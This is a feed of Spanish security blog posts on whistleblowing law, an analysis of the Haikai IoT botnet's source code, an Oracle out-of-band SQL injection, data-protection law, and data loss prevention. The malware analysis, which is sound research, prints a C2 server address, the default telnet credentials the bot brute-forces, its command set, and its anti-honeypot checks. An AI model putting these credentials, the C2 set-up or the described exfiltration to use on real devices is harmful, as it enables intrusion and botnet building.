Veamos qué acciones legales podrían esgrimir contra nosotros tanto nuestra empresa como la tercera parte afectada:

1. El acuerdo de confidencialidad firmado por el técnico incluye una cláusula que indica que cualquier infracción grave del acuerdo puede suponer un despido procedente.
2. La Ley del Estatuto de los Trabajadores especifica en su artículo 54 las condiciones para un despido procedente. La empresa podría argumentar una (cito literalmente) “transgresión de la buena fe contractual, así como el abuso de confianza en el desempeño del trabajo” como causa de despido procedente.
3. La tercera parte demanda al técnico por un delito de calumnias según lo especificado en el artículo 205 del Código Penal (calumnia = imputación de un delito hecha con conocimiento de su falsedad o temerario desprecio hacia la verdad), con penas de multa.
4. La tercera parte demanda al técnico por un delito de descubrimiento y revelación de secretos según indican los artículos 197 a 200 del Código Penal (delitos contra el honor, en caso de una persona), o los artículos 278 a 280 del Código Penal (delitos contra la propiedad industrial, en caso de una empresa), con penas de multa y de prisión hasta los 5 años.

Analicemos con un poco más de detalle cada una de estas acciones legales. En primer lugar, es factible incluir una cláusula en un acuerdo de confidencialidad que liste una serie de supuestos de despido procedente. Sin embargo, todas las cláusulas de dicho acuerdo tienen que atenerse a la legalidad vigente, de lo contrario se declaran como nulas.

En nuestro caso, la obligación del técnico a cumplir con su obligación de denunciar un delito pesará siempre por encima de lo especificado en el acuerdo de confidencialidad. Podemos remitirnos sin problema al artículo 24 de la Constitución Española, que describe la tutela judicial efectiva en el ejercicio de nuestros deberes y derechos legítimos. Si se va a juicio, el juez declarará con casi total seguridad el despido como nulo, obligando a la readmisión del técnico o a la indemnización correspondiente.

En el segundo caso, la argumentación de la “transgresión de la buena fe contractual, así como el abuso de confianza en el desempeño del trabajo” constituye una interpretación bastante amplia y generosa de la Ley (aunque existe una cierta división de opiniones entre los juristas consultados, ojo). Si nos fijamos en detalle, en todo el Estatuto de los Trabajadores la única referencia concreta al deber de secreto o sigilo del empleado viene dada por el artículo 65, aplicada a los miembros del Comité de Empresa y únicamente con la información que se les haya  proporcionado.

Existen otras referencias en la legislación (aplicables por ejemplo a los profesionales sanitarios o a los firmantes de la Ley de Secretos Oficiales), pero ninguna que parezca aplicarse al personal técnico dentro del ámbito de la seguridad informática. De todas formas, sea cual sea la interpretación del artículo 54, podemos volver a emplear el razonamiento de primer apartado: cualquier despido causado por el cumplimiento de una ley por nuestra parte será declarado con casi total como nulo.

Continuemos con el tercer caso, también bastante sencillo. El propio artículo 207 del Código Penal indica que el acusado de un delito de calumnias queda absuelto del mismo si prueba el hecho criminal denunciado. Lo que puede ser muy recomendable en este caso es recopilar y documentar cuidadosamente todo los hechos que se hayan encontrado, para de esta forma no tener problemas al respecto. Incluso en ese caso, una denuncia por calumnias tiene poco recorrido ya que basta una apariencia suficiente de actividad delictiva para que se justifique la denuncia.

Llegamos al último caso, quizás el más complejo ¿qué sucede ante una denuncia por revelación de secretos? En este punto lo primero sería determinar si las evidencias obtenidas por el técnico se encuentran dentro del alcance definido por el proyecto (lo que se conoce en algunos ámbitos como “orden de trabajo”).

Es decir, que el técnico se ha encontrado con el delito mientras desarrollaba las tareas que se le han encomendado sin extralimitarse en sus funciones. Esta puntualización es crítica por varios motivos.

Si el técnico está actuando fuera del ámbito de lo encargado (por ejemplo, leyendo correos cuando tenía que buscar imágenes en un análisis forense), puede estar realmente cometiendo un delito de revelación de secretos. El artículo 264 de la Ley de Enjuiciamiento Criminal indica que “el denunciador no contraerá en ningún caso otra responsabilidad que la correspondiente a los delitos que hubiese cometido por medio de la denuncia, o con su ocasión”.

Adicionalmente, si hacemos caso a la doctrina del árbol envenenado, toda prueba obtenida de forma ilícita no podrá ser usada en un proceso judicial. Es decir, el técnico habrá cometido un delito… y lo que haya obtenido no podrá ser empleado en un juicio.

Sin embargo, si el técnico está actuando dentro del ámbito de los trabajos a realizar, y se encuentra con las evidencias de forma natural (para ello resultará fundamental el informe realizado por el técnico describiendo el proceso seguido), se entiende que está cumpliendo su deber denunciando el delito, aplicándose la tutela judicial efectiva antes mencionada.

El artículo ha pretendido comentar y extender algunos de los supuestos a los que un técnico de ciberseguridad puede enfrentarse en algún momento de su actividad laboral. Las recomendaciones en caso de encontrarse en esta situación son claras:

• Documenta todo el proceso seguido lo más cuidadosamente posible.
• Recopila todas las evidencias disponibles de forma segura.
• Busca asistencia legal cuanto antes.

El autor es de la opinión de que la legislación debería proteger específicamente a los denunciantes de este tipo de delitos. La decisión final sobre denunciar o no recae en los propios técnicos.

La entrada He descubierto un delito… ¿y ahora qué? aparece primero en Security Art Work.

Hace unos días conseguimos el código fuente del malware Haikai, el cual corresponde a una más de la multitud de implementaciones llevadas a cabo por el continuo reciclaje de código fuente perteneciente a diferentes botnets IoT. A pesar de que no hemos identificado ninguna novedad respecto a versiones de malware IoT anteriores, nos ha permitido la obtención de mucha información sobre las técnicas, mejoras y autores.

Comentar también que, según diferentes registros obtenidos, esta botnet ha estado actuando durante gran parte del último mes de junio.

En las siguientes líneas se analizará el código, así como las posibles atribuciones y las implementaciones no referenciadas en el hilo de ejecución, las cuales nos permiten adivinar que el código va mutando en diferentes líneas en paralelo para una misma función.

Así pues vamos a comenzar analizando la estructura de los ficheros.

Archivos en el código fuente de Haikai

Archivos en el código fuente de Mirai

Tal y como podemos observar, todos los archivos (a excepción de g.c), tienen la misma nomenclatura que el malware Mirai. A pesar de ello, la mayoría del código que es llamado en el hilo de ejecución se encuentra en g.c; y otras funciones muy interesantes incorporadas por Mirai en 2016 (como aquellas incluidas en el fichero scanner.c), son obviadas por Haikai.

En cuanto al main del código, éste se encuentra en el fichero g.c. Se puede destacar que la primera acción que lleva a cabo es el chequeo del binario de Python para utilizar una longitud, y otra en la asignación del nombre del proceso, característica no presente en el código fuente de Mirai.

Nada más llevar a cabo dicho acceso, comprueba si el listado de servidores es menor o igual a 0 a través de la variable SERVER_LIST_SIZE, definida más arriba con las siguientes instrucciones.

#define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
…
…
unsigned char *commServer[] = {"185.47.62[.]197"};

Seguidamente, se ejecuta la cadena de debug, para luego llamar a las funciones table_init() y killer_init().:

\x1b[31m[Hakai] \x1b[32mConnected\x1b[0m\r\n

Ambas funciones están presentes en el código fuente de Mirai e incorporan novedades que más tarde analizaremos; sin embargo, nos vamos a parar en el análisis de la función StartTheLelz().

Tal y como podemos observar en la imágen inferior, esta función está importada del malware BashLite, una de las primeras botnets IoT conocida por hacer uso de vulnerabilidades de tipo shellshock. Sin embargo, esta nueva implementación incorpora una gran serie de novedades.

Extracto del código fuente de BashLite

Mientras que la función de BashLite tiene menos de 300 líneas de código, la implementada en Haikai ronda las 600.

En ambos casos se lleva a cabo la gestión de la respuesta telnet a través de una estructura switch-case. En el caso de Haikai, a través de código comentado y el desorden en nuevos casos, evidencian un autor diferente detrás del mismo.

Llama la atención la implementación del case 70, la cual lleva a cabo un chequeo anti-honeypots a través de la comprobación de las cadenas de la arquitectura en la lista de caracteres detectbox.

char *detectbox[] = {"powerpc","mips", "arc", "x86_64", "armv7l", "armv6l", "armv5l", "armv4l", "sh4", "mipsel", "arm4", "arm5", "arm6", "ARMv6", "ARMv7", "amd64", 0};

En los siguientes casos se analiza el método idóneo para la subida de la muestra:

Finalmente, gestiona de un modo especial las arquitecturas ARMv7, ARMv4 y ARC, aunque también encontramos comentada este tipo de gestión en la arquitecturas MIPS y MPSL.

Esta gestión consiste en ejecutar a través del comando echo, el hexadecimal de un binario ajustado a la arquitectura, según listas definidas en el inicio del código. Dichas líneas son las siguientes:

char *a4[] = {"armv4l", "arm4", "ARMv5", "armv5l", 0};
char *a7[] = {"armv7l", "arm7", "ARMv7", "ARMv6", "armv6l",  0};
char *mipsel[] = {"mipsel", 0};
char *ArCc[] = {"arc", 0};

Si reconstruimos el binario, obtenemos una muestra cuya única función es llevar a cabo la descarga a través de una petición HTTP del código fuente que estamos analizando, pero compilado para su arquitectura:

Esta técnica fue implementada por primera vez por el malware Hajime.

En cuanto al resto de arquitecturas, se lleva a cabo la descarga de un script en bash, el cual, presumiblemente, llevará a cabo la descarga de los binarios de distintas arquitecturas, técnica heredada del malware Gafgyt.

Por otra parte, hemos encontrado que el número de combinaciones utilizadas en la búsqueda de potenciales víctimas es menor al número introducido en Mirai (únicamente nueve combinaciones). Además, dichas credenciales no son implementadas a través de la función scanner_init(), sino definida como variables globales al inicio del código, aunque también han sido introducidas en dicha función.

char *usernames[] = {"root\0", "root\0", "admin\0", "root\0", "adm\0", "default\0", "default\0", "root\0", "root\0"};
char *passwords[] = {"root\0", "admin\0", "admin\0", "vizxv\0", "\0", " OxhlwSG8\0", "S2fGqNFs\0", "zlxx.\0", "LsiuY7pOmZG2s\0"};

En cuanto a la comunicación con el servidor Command&Control, se ha encontrado que se rige a través de los siguientes comandos:

• QTELNET → Activa la botnet
• OFF → Para el escaneo de la red en busca de dispositivos vulnerables
• ON → Activa el escaneo de la red en busca de dispositivos vulnerables

Curiosamente, el escaneo de la red se lleva a cabo con la función StartTheLelz(), ya analizada anteriormente, cuando el archivo scanner.c y, por ende, la función scanner_init(), está implementada en el código, pero nunca es referenciada.

En cuanto a las instrucciones para la ejecución de ataques de denegación de servicio, son los siguientes:

• H → Ejecuta ataques vía HTTP
• U → Ejecuta ataques vía UDP
• S → Ejecuta ataques vía STD
• T → Ejecuta ataques vía TCP
• KT → Mata los procesos asociados al malware

Ninguno de estos ataques es novedoso, pues los hemos visto y analizada en artículos anteriores, por lo que únicamente nos centraremos en la implementación de User-Agents en el ataque HTTP, la cual permite la adición de un gran número de ellos con gran facilidad.

En cuanto a la función table_init(), implementada en el archivo table.c, permite la códificación de strings en el malware y está directamente importada de Mirai.
Los comentarios en el código nos permiten obtener la información clave en bruto y, de ese modo, profundizar en la atribución de la muestra.

En primer lugar, obtenemos el dominio del C2 el cual es hakaiboatnet[.]pw y en el cual, en el momento en el que se encontraba en funcionamiento, se tenía la siguiente visualización:

Y si seguías los pasos indicados en la web, el resultado era el siguiente:

Para redondear la “troleada”, una vez Ankit Anubhav (@ankit_anubhav), conocido researcher de malware IoT, se hizo eco del hecho en su cuenta de Twitter, el dominio incluyó una visualización de él mismo en el portal web.

Otra información hardcodeada es la safe string, donde en Mirai encontrábamos el enlace al conocido videoclip de Rick Astley “Never Gonna Give You Up”, en esta muestra tenemos: “gosh that chinese family at the other table sure ate alot”.

Ya reportamos la existencia de esta cadena en el informe “Mirai Año Uno: Evolución y Adaptación de una botnet”, y la atribuimos al grupo Lizard Squad, autores de las campañas MASUTA, MEMES y FREEPEIN de Mirai, además de la incorporación de la inyección de código hexadecimal del downloader y empaquetado UPX.
Todas esas novedades las hemos visto en el presente código.

Otro punto a destacar es la gran cantidad de código no referenciado en el hilo principal y que nos permite la obtención de información, puede que no de esta botnet en particular, pero sí de la evolución del código compartido por la comunidad.

En primer lugar es interesante destacar la implementación de nuevas direcciones a evitar por el malware a través de get_random_ip(). Mientras que Mirai evitaba un número reducido de redes, Haikai incluye las redes pertenencientes a las siguientes subredes:

Amazon
Amazon + Microsoft
Blazingfast & Nforce
Choopa & Vultr
CIA
Cloudflare
Department of Defense
Department of the Navy, Space and Naval Warfare System Command, Washington DC - SPAWAR
Digital Ocean
FBI controlled Linux servers & IPs/IP-Ranges
General Electric Company
Hewlett-Packard Company
IANA NAT reserved
IANA Special use
Internal network
Invalid address space
Loopback
Ministry of Education Computer Science
Multicast
NASA Kennedy Space Center
Naval Air Systems Command, VA
ONLINE SAS
OVH
Some more
Total Server Solutions
U.S. Department of State
US Postal Service

Captura de la función get_random_ip() de Mirai

Capturas del archivo scanner.c de Haikai

Finalmente encontramos evidencias de que la parte más interesante del código ha sido borrada, y es aquella vinculada a la infección de dispositivos a través de exploits, caracaterística las versiones más novedosas del malware IoT, como son IoTReaper, Okiru u Omni.

Destacar que un dominio utilizado por Okiru es network[.]bigbotpein[.]com, utilizado también por la variante FREEPEIN de Mirai.

Capturas del código del archivo exploit.h de Haikai

Capturas del código del archivo feg.h de Haikai

Ninguna de las funciones referenciadas se encuentran implementadas en el hilo de ejecución del malware.

Tras analizar el código fuente, podemos llegar a la conclusión de que el código tiene un origen complejo, detectando técnicas de hasta cinco malwares IoT diferentes (BashLite, Gafgyt, Mirai, Hajime e IoTReaper). Sin embargo, strings y dominios nos permiten atribuir una gran parte del código al grupo Lizard Squad (o, al menos, a alguno de sus miembros).
Por otra parte, también destacar el gran concepto de comunidad que tienen aquellos dedicados a la explotación de botnets IoT, donde, a excepción de los exploits que permitan la anticipación en un sector tan competitivo, no tienen ningún reparo en compartir aquellas mejoras implementadas en el código.

La entrada Análisis de Linux.Haikai: dentro del código fuente aparece primero en Security Art Work.

Normalmente, cuando auditamos una aplicación web mal programada en su backend, es habitual encontrarnos con vulnerabilidades de inyección SQL. Principalmente inyecciones ciegas basadas en error o, si tenemos mucha suerte, basadas en unión de tablas. Sin embargo, lo que no es muy habitual es encontrarnos con una inyección sql fuera de banda.

Éstas no solo dependen de que la aplicación sea vulnerable sino de que el servidor tenga habilitados mecanismos que nos permitan exfiltrar la información por una banda distinta a la propia aplicación web.

El propio hecho de que los resultados sean devueltos por una vía completamente diferente, unido a que éstas pueden ser muy variadas, hace que sea muy difícil utilizar herramientas automatizadas para explotar este tipo de vulnerabilidades. Aún así, en ciertos casos donde los tiempos de respuesta de un servidor sean muy lentos o irregulares, puede merecer la pena tratar de exfiltrar la información de dicha forma.

Como ejemplo vamos a echar un vistazo a una inyección que me he encontrado recientemente en una auditoría web.

En este caso, la vulnerabilidad resultaba muy extraña puesto que el parámetro se llamaba sql***, pidiendo a gritos una inyección, pero la web no devolvía errores y no parecía ser afectada por técnicas basadas en tiempo. Sin embargo, nuestro mejor amigo Burp active scan parecía convencido de que existía una inyección en dicho parámetro.

Analizándolo con calma, descubrimos que la aplicación puede ser comprometida utilizando una vulnerabilidad de Oracle, ¡fechada en 2014! Esta vulnerabilidad proviene de un error en los mecanismos de seguridad del parser XML de Oracle, el cual previene la interpretación de entidades externas, pero no filtra la petición para obtenerlas. En resumen, tenemos una vulnerabilidad de pseudo-XXE autenticado, que en una situación normal sería muy difícil de explotar, pero que puede ser un método de exfiltración curioso para auditores oportunistas como nosotros.

El payload que se utiliza es el siguiente:

Esto forzará a la base de datos a realizar una petición GET a http://IP/test para solicitar la entidad xml, pero podemos modificar esta url para concatenarle consultas a la base de datos y exfiltrar su resultado de la siguiente forma:

Con lo que recibiremos en nuestro servidor una petición GET como la siguiente:

Los únicos inconvenientes que tiene esta técnica de exfiltración es que solo puede devolver el contenido de una celda con lo que tendremos que ser muy específicos en nuestras consultas, y que necesitamos disponer de un servidor accesible desde Internet. Esto sería un problema si lo hacemos a mano cada vez que nos encontráramos con esta vulnerabilidad, pero a quién le gusta hacer estas cosas a mano, ¿verdad?

Automatizando

Para automatizar el proceso de explotación, he creado un script que automatiza el proceso de generar los payloads, enviarlos e inicializar el servidor web para recibir las respuestas.

Por el momento solo soporta peticiones GET con headers y url personalizables. También permite no lanzar el servidor por si queremos recibir las peticiones en otro distinto. El programa tiene 4 niveles de output (o logging, para los entendidos): Info, Ok, Warning y Error.

La salida es tal que así:

Utiliza un listado externo de payloads, payloads.lst que podemos modificar a nuestro gusto o incluso indicar un archivo propio.

Conclusión

Lo de siempre, mantén actualizados tus sistemas, incluyendo la base de datos. ¡Puede marcar la diferencia!

Podéis encontrar el código fuente aquí.

(Las salidas de este post están simplificadas para no mostrar información sensible)

Bibliografia:

• https://blog.netspi.com/advisory-xxe-injection-oracle-database-cve-2014-6577/
• https://www.cvedetails.com/cve/CVE-2014-6577/?q=CVE-2014-6577
• http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet

La entrada Auditorías web: Cuando no son pitos son flautas, y si no una banda entera aparece primero en Security Art Work.

Todos estábamos pendientes del Proyecto de Ley Orgánica de Protección de Datos (podéis ver el seguimiento de la iniciativa parlamentaria pinchando aquí), que este Real Decreto-ley que vamos a comentar nos ha pillado casi por sorpresa.

El pasado martes saltaba la noticia [1] [2] de que el gobierno modificaría con urgencia el régimen sancionador de la Ley de protección de datos. El pasado viernes día 27, el Consejo de Ministros aprobaba el Real Decreto Ley que finalmente ha sido hoy publicado en el Boletín Oficial del Estado (BOE). El Real Decreto Ley 5/2018, de 27 de julio, de medidas urgentes para la adaptación del Derecho español a la normativa de la Unión Europea en materia de protección de datos adapta aquellos preceptos en los que el Reglamento General de Protección de Datos (en adelante, RGPD) remitía su desarrollo a los Estados miembros, y que no requieren rango de ley orgánica. Este Real Decreto Ley entra en vigor el 31 de julio de 2018. La vigencia de esta norma queda supeditada a la aprobación de la nueva legislación orgánica de protección de datos que tenga por objeto adaptar el ordenamiento jurídico español al RGPD, y completar sus disposiciones.

La norma recientemente aprobada regula los siguientes aspectos:

• Identifica a los funcionarios de la Agencia Española de Protección de Datos (en adelante, AEPD), o aquellos funcionarios ajenos habilitados expresamente por la Dirección, como personal competente para el ejercicio de los poderes de investigación, y otorga a estos la consideración de agentes de la autoridad en el ejercicio de sus funciones. En este sentido, regula que en el caso de actuaciones conjuntas con autoridades de control de otros Estados miembros, estas ejercerán sus facultades con arreglo a lo previsto en la normativa europea.
• Articula el régimen sancionador según lo establecido en el RGPD, actualizando así los tipos infractores regulados actualmente en la Ley Orgánica 15/1999. En este Real Decreto-ley se determinan los plazos de prescripción de las infracciones y las sanciones:

Queda excluido de este régimen sancionador el delegado de protección de datos.

• Otro aspecto que regula el Real Decreto-ley es el procedimiento en caso de que exista una posible vulneración del RGPD. A este respecto cabe destacar que en caso de que el procedimiento se deba a una falta de atención de una solicitud de ejercicio de los derechos de los interesados, esta se resolverá en el plazo de seis meses. Transcurrido este plazo el interesado podrá considerar estimada su reclamación. En el caso de un procedimiento debido a otro incumplimiento del RGPD y la normativa española, el procedimiento tendrá una duración máxima de nueve meses.

A este respecto se regula que antes de resolver sobre la admisión a trámite de la reclamación, la AEPD podrá remitir la misma al Delegado de Protección de Datos, en el caso de que se disponga, o al responsable del tratamiento en el caso contrario, para dar respuesta a la reclamación en el plazo de un mes. De esta forma permite a los responsables del tratamiento a resolver de forma amistosa una reclamación antes de iniciar el procedimiento sancionador. Asimismo la AEPD podrá inadmitir la reclamación cuando el responsable hubiera adoptado las medidas correctivas encaminadas a poner fin al posible incumplimiento de la legislación de protección de datos siempre y cuando no se haya causado perjuicio al afectado, y el derecho del afectado quede plenamente garantizado mediante la aplicación de las medidas.

• Nombra a la AEPD como representante de las autoridades de protección de datos en el Comité Europeo de Protección de Datos. La AEPD deberá informar a las autoridades autonómicas de protección de datos acerca de las decisiones adoptadas y recabará su parecer cuando se trate de materias de su competencia.
• Introduce una disposición transitoria que mantiene adecuados a derecho los contratos de encargado del tratamiento que, cumpliendo con el artículo 12 de la Ley Orgánica 15/1999, todavía se encuentren vigentes. Estos mantendrán su vigencia hasta la fecha de vencimiento o hasta un máximo de 4 años los pactados de forma indefinida.
• Por último, este Real Decreto-ley deroga el título VII de la Ley Orgánica 15/1999 a excepción del artículo relativo a las Infracciones de las Administraciones públicas que permanece vigente.

CONCLUSIONES

Mientras el Proyecto de Ley Orgánica para la adecuación del Derecho español al RGPD sigue los trámites parlamentarios, la aprobación urgente de este Real Decreto-ley legisla sobre las competencias de investigación de la AEPD, el régimen sancionador en materia de protección de datos y los plazos de prescripción de estos, así como el procedimiento en caso de posible vulneración de la normativa. Además, tal y como estaba previsto en el Proyecto de Ley Orgánica, da un margen para adecuar los contratos de encargado del tratamiento hasta su fecha de vencimiento, con el plazo límite del 25 de mayo de 2022, sin que sea óbice para que Tanto el responsable del tratamiento como el encargado puedan exigir a la otra parte la modificación del contrato a fin de que resulte conforme al RGPD.  El Real Decreto-ley entra en vigor el 31 de julio de 2018 y estará vigente hasta la aprobación de la nueva Ley Orgánica.

Estos cambios no introducen nuevos requisitos que modifiquen de modo alguno el trabajo que las organizaciones vienen realizando para la adecuación al RGPD. Por tanto, sigamos trabajando en el cumplimiento de los principios de protección de datos y del resto de aspectos recogidos en el RGPD mientras el Proyecto de Ley Orgánica sigue su curso.

REFERENCIA

• BOLETÍN OFICIAL DEL ESTADO – REAL DECRETO-LEY 5/2018

(N.d.E: Este post ha sido elaborado con la colaboración de Samuel Segarra).

La entrada Aprobación de medidas urgentes en materia de protección de datos aparece primero en Security Art Work.

Aquellos que llevamos muchos años protegiendo la información corporativa e investigando incidencias de fuga de información lo tenemos claro. No todo está detrás de un teclado en materia de secuestro de información, pérdida de datos y prevención de dichos eventos.  A pesar de ello, los esquemas de incidencia, los eventos no esperados, las acciones de las personas y el entorno no dejarán jamás de cambiar de forma sorprendente.

Básicamente hay que diferenciar tres elementos clave para determinar una incidencia de fuga de información:

Entorno: La evidencia de investigación no siempre está en un directorio, un equipo o un archivo. El entorno de fuga de información está compuesto por un conjunto de características de personas, la cultura empresarial, los medios y tiempo en que se desarrolla el proceso de fuga. En la evaluación del entorno podemos encontrar las relaciones de confianza, la segregación funcional, los sistemas de comunicación y un largo etcétera completado por las medidas de control puestas en marcha para la prevención de fuga de información.

Valor de la información:  No todas las fugas de información son importantes ni es posible prevenir el 100 % de los casos. No es lo mismo que se lleven unos resultados empresariales antes de cierre de ejercicio cuando la situación financiera es adecuada que cuando no lo es. De una manera sencilla, el valor de la información tiene una cotización dependiendo de la clasificación de la información que pudiéramos realizar más el impacto que significaría dicha fuga de información a nivel corporativo. Por lo tanto, la clasificación no es un elemento estático al que recurrir sino que proporciona el valor de impacto en caso de fuga dependiendo de un conjunto de criterios asociados al momento en que se produce, la estrategia empresarial y el valor en mercado negro (habitualmente a través de Dark Web). Existen más criterios para determinar el valor de información pero, desde luego, la categorización debe de adaptarse a la realidad del propietario de la información.

Motivación: La fuga de información corresponde a una motivación, racionalización y un esquema de vulneración. Uno de los problemas que suele aparecer en las investigaciones de fuga de información es que no se realiza dicho análisis desde una perspectiva plural y relacionada con la motivación y suele centrarse en la determinación del esquema en uno de los entornos. Es por ello que cuando hablamos de fuga de información basada en sistemas de información puede dejarse de lado el resto de elementos que constituyen la visión global del incidente. Si perdemos ésta perspectiva global, difícilmente podríamos adoptar medidas correctoras o preventivas que respondieran a una situación similar.

Hace relativamente poco tiempo se ha dado un caso de fuga de información corporativa en Tesla, y sabotaje interno por parte de miembros del equipo que, presuntamente, pudo afectar a varios elementos del sistema de información y, por tanto, a las operaciones y proyectos del gigante Tesla .

No es un caso aislado sino que gran parte de los incidentes no salen en prensa o directamente se ocultan para evitar el desprestigio que representa. El impacto reputacional de la fuga de información es tan alto en nuestros días que puede obligar a las empresas a verse en el camino del más absoluto fracaso.

Gigantes como Facebook han tenido que responder y continúan enterándose tarde, mal o nunca de la fuga de información, a pesar de tener medidas de protección que pudieran ser la envidia de empresas de importancia.

No todo es un desastre. El valor de la información no es estático. Sin duda, a pesar del impacto reputacional (indicador de prioridad para medir el valor de la información), no toda la información corporativa es confidencial o el valor de mercado una vez extraído de la empresa tiene tanta importancia. ¿Le importa realmente a un gigante de las redes sociales que exista una brecha de información sobre usuarios? ¿Eso va a parar su negocio?

El caso de Ashley Madison ha terminado con una indemnización a los usuarios de 3.500 USD. Sin duda el valor de impacto ha sido mucho menor de lo esperado y el negocio continúa funcionando.  Decía el eslogan para los usuarios “Life is short. Have and Affair”. La privacidad no es el elemento clave de determinación del valor de la información para este proveedor de redes sociales. Si fuéramos capaces de averiguar los algoritmos que hay detrás de las vinculaciones de usuario, es probable que tuviéramos un valor muy alto entre manos. Tampoco parece que la disponibilidad e integridad sean criterios válidos para determinadas empresas. A pesar de los avances legislativos en materia de privacidad a nivel europeo a través del Reglamento General de Protección de Datos (RGPD) estamos demasiado lejos de los avances en el campo de las capacidades de brechas de información

A mi humilde entender, a pesar de las grandes diferencias de criterio, el marco reputacional no es más que parte del entorno donde se produce la fuga de información. Así pues, la reputación no es el criterio único para determinar el valor de la información. Gran parte de las medidas de protección de información se han diseñado desde un marco exclusivamente reputacional creando un error en cascada a la hora de la determinación de las medidas necesarias de protección de información y generando que la exfiltración de  datos pueda realizarse “con cierta alegría” sin tener en cuenta el valor presente y futuro de dicha información.

Al final del juego, lo más interesante es conocer lo que podemos hacer para la prevención de fuga de información pero dichas medidas son inadecuadas cuando los activos a proteger son incorrectamente categorizados a nivel de riesgo por criterios que no dan un estado de situación a nivel de escenario de riesgo.

Análisis de Riesgos
La parte principal donde deberíamos incidir en la fase inicial es en determinar los tres parámetros de análisis (entorno, valor y motivación) y cuantificar el riesgo de fuga de los activos. Si somos capaces de generar un sistema dinámico de análisis veremos que dicho valor tiene una cotización a lo largo del tiempo por lo que las medidas deberían tener flexibilidad y adaptabilidad, como sucede en otro tipo de vulneraciones.

Crear una gran frontera entre lo confidencial y público es un error conceptual en nuestros días porque el nivel de movilidad, los criterios de disponibilidad y acceso. Algo confidencial que sabe todo el mundo, ¿es confidencial o ha dejado de ser confidencial? La velocidad de fuga de datos al entorno disponible desde el espacio OSINT es exponencial.

Escenario de riesgo
Se atribuye a Winston Churchill la frase “Mejorar es cambiar; ser perfecto es cambiar a menudo“.

No es patrimonio exclusivo de las nuevas tecnologías precisamente la generación de escenarios de riesgo. Determinar dichos escenarios es lo que nos puede permitir generar ese conjunto de medidas no lineales sino adaptadas a las necesidades de cada momento, de esa manera determinar las medidas necesarias en cada momento. Las situaciones de crisis se vencen con resiliencia y mejora continua, no con aceptación de impacto reputacional.

Medidas de contingencia y mitigación de riesgo (soluciones)
La mejor solución será, sin duda, la adaptada a su organización. No es solo tecnología sino método, organización y personas junto a una visión clara de los objetivos a proteger. Habitualmente se piensa en soluciones estándar de “Data Loss Prevention” y resulta un peligro importante a considerar para la organización. Lo mismo sucede en otras “aplicaciones” y “soluciones”.

No elija una solución sin realizar un análisis previo. Es igual que presentarse para correr un maratón sin prueba de esfuerzo ni entrenamiento adecuado.

Suele pasar que las organizaciones se “automedican” con soluciones comerciales. Está claro que no es el proceso más adecuado para su organización. ¿Ha evaluado el riesgo y las contraindicaciones?

Parte de las soluciones tecnológicas DLP (Data Loss Prevention) trabajan en la determinación de un conjunto de medidas preventivas y reactivas sobre potenciales incidentes (recursos, disponibilidad, diccionario de palabras clave, marcado y etiquetado de activos, comportamientos determinados como potencialmente peligrosos, etc.). El mercado proporciona una variedad muy generosa a la hora de adaptarse a nuestra realidad. Las soluciones tecnológicas, en realidad, son un punto de apoyo en los programas de prevención de fuga de información donde el valor debería de estar en el riesgo. Automedicarse puede ser muy perjudicial para la salud de la información de su organización.

Todas las soluciones comerciales aparentemente están muy bien en un nivel de madurez organizativo en materia de seguridad de la información con cierta consistencia. ¿Por qué no empezamos por la formación y concienciación? Seguro que tenemos un campo de mejora muy importante y que puede garantizar una mejora exponencial en la exposición al riesgo. Aprendamos del Capítulo 13 del Arte de la Guerra de Sun Tzu nos deja una frase enriquecedora:” Si no se trata bien a los espías, pueden convertirse en renegados y trabajar para el enemigo”.

Otro elemento clave muchas veces olvidado es aprender de los errores propios y del entorno. El análisis de los incidentes permiten áreas de aprendizaje organizativo muchas veces olvidado porque las medidas de protección son lineales. Aprendamos de Winston Churchill a ser “perfectos”.

Pérdida y Fuga de Datos
Les dejo una reflexión como cierre.
¿Es lo mismo perder las llaves de su casa que se las hayan robado? Cuando las ha perdido, ¿se las han robado?

(N.d.E.: Ahora sí. Con este artículo, Security Art Work cuelga el cartel de “Cerrado por vacaciones” y se despide hasta el próximo mes de septiembre. Desconecten, disfruten, recarguen pilas, y les esperamos a la vuelta.)

La entrada Data Loss Prevention. Fuga y pérdida de datos no son soluciones sino riesgos aparece primero en Security Art Work.

Durante los últimos años han proliferado en el mercado tecnológico soluciones relacionadas con la detección del fraude a través de sistemas de inteligencia artificial basada en explotación de datos masiva (Big Data). La detección de patrones anómalos y correlación de eventos son dos de los elementos clave de éstas soluciones que permiten detectar los “inicios” de las anomalías antes de que se produzcan tanto a nivel de transacciones económicas, operacionales como de cualquier otro dato relacionado o no que se determine en un orden del tiempo o en lugar concreto.

Las soluciones FDP tienen por objetivo la correlación de eventos de manera efectiva dentro de los procesos de negocio relacionando datos de transacciones (financieras, comerciales u operativas) con determinaciones de patrones de riesgo. Así pues, basado en un modelo de datos adecuado consiguen hacernos llegar potenciales situaciones de riesgos previamente identificadas con un detalle adecuado para poder gestionar “la anomalía”.

Profundizando en las soluciones FDP (Fraud Detection and Prevention) hemos de encontrar primero aquellas que se han “encasillado” en un determinado nicho de trabajo con alta especialización y, por otro lado, las que desde la particularidad han ido adquiriendo gradualmente mayores ámbitos de aplicación.
Tipos de soluciones FDP Comerciales

Las soluciones comerciales específicas permiten monitorizar por ejemplo transacciones de pago mediante tarjeta bancaria, gestión de inventario relacionado con pedido de compras, pagos a proveedores y servicios entregados y un largo etcétera.

Las soluciones empresariales globales permiten dar valor añadido a las anteriores integrando diferentes criterios de control (monitorización, detección, respuesta y resolución) en una única matriz de trabajo consolidando el sistema monitorización, correlación, generación de informes, investigación y solución de incidencias y un histórico de aprendizaje organizativo que alimenta una inteligencia artificial y no solo un sistema de machine learning.

Programas de prevención y detección de fraude

No vamos a hablar de aplicaciones, plataformas o apps específicas. Como he comentado en anteriores ocasiones, no existen soluciones “mágicas” para los objetivos de protección, prevención y respuesta a riesgos. De lo que hablamos no es de “poner en producción” una herramienta simplemente.

Para disponer de un buen sistema de Prevención y Detección del Fraude hacen falta criterios claros, visión de riesgo, colaboración, mejores prácticas, mucha información y, sobre todo, muchas ganas de ver en marcha un programa, mucho más que una aplicación.

No obstante, cuanto más se adapte el programa que diseñemos a la realidad de entorno en el que se producen las operaciones a revisar, el control es más efectivo.

